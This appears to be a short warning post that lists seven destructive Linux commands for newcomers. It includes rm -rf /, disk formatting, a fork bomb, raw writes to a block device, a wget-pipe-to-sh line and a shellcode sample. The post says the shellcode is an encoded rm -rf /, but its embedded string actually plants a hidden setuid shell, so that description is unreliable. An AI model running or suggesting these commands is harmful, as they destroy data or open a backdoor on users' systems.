The 7 Deadly Linux Commands - Dangerous Command for Linux OS

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

{This command will recursively and forcefully delete all the files inside the root directory.}

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"

"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"

"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"

"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"

"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"

"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"

"\x6e\x2f\x73\x68\x00\x2d\x63\x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

{This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.}

3. Code:

mkfs.ext3 /dev/sda

{This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.}

4. Code:

:(){:|:&};:

{Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.}

5. Code:

any_command > /dev/sda

{With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.}

6. Code: 

wget http://some_untrusted_source -O- | sh

{Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.}

7. Code: 

mv /home/yourhomedirectory/* /dev/null

{This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.}

************************************************************

Enjoy............